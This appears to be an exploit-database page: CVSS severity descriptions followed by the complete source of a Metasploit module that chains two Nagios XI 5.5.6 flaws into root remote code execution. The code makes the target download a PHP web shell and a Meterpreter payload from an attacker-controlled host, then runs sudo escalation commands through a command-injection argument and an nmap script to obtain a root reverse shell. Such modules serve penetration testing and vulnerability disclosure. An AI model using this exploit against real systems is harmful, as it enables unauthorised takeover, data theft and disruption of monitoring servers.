The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Nagios XI Magpie_debug.php Root Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => "Nagios XI Magpie_debug.php Root Remote Code Execution",
'Description' => %q{
This module exploits two vulnerabilities in Nagios XI 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE 201815710 which allows for local privilege escalation.
When combined, these two vulnerabilities give us a root reverse shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne (@lynerc)', # First working exploit
'Guillaume Andr (@yaumn_)' # Metasploit module
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "2018-11-14",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
])
@WRITABLE_PATHS = [
['/usr/local/nagvis/share', '/nagvis'],
['/var/www/html/nagiosql', '/nagiosql']
]
@writable_path_index = 0
@MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
@session_opened = false
@webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
@nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
@meterpreter_name = Rex::Text.rand_text_alpha(10)
end
def on_request_uri(cli, req)
if @current_payload == @webshell_name
send_response(cli, '<?php system($_GET[\'cmd\'])?>')
else
send_response(cli, generate_payload_exe)
end
end
def primer
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH),
'vars_get' => {
'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
'-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
}
}, 5)
if !res || res.code != 200
print_error('Couldn\'t send malicious request to target.')
end
end
def check_upload
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
}, 5)
if res && res.code == 200
print_status("#{@current_payload} uploaded with success!")
return true
else
print_error("Couldn't upload #{@current_payload}.")
return false
end
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH)
}, 5)
if res && res.code == 200
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
all_files_uploaded = false
# Upload useful files on the target
for i in 0..@WRITABLE_PATHS.size
@writable_path_index = i
for filename in [@webshell_name, @meterpreter_name]
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !check_upload
break
elsif filename == @meterpreter_name
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end
meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
register_file_for_cleanup(
"#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
meterpreter_path,
"/var/tmp/#{@nse_name}"
)
# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
"&& sudo nmap --script /var/tmp/#{@nse_name}"
]
# Try to launch root shell
for cmd in cmds
res = send_request_cgi(
{
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5)
if !res && session_created?
break
end
print_status('Couldn\'t get remote root shell, trying another method')
end
end
end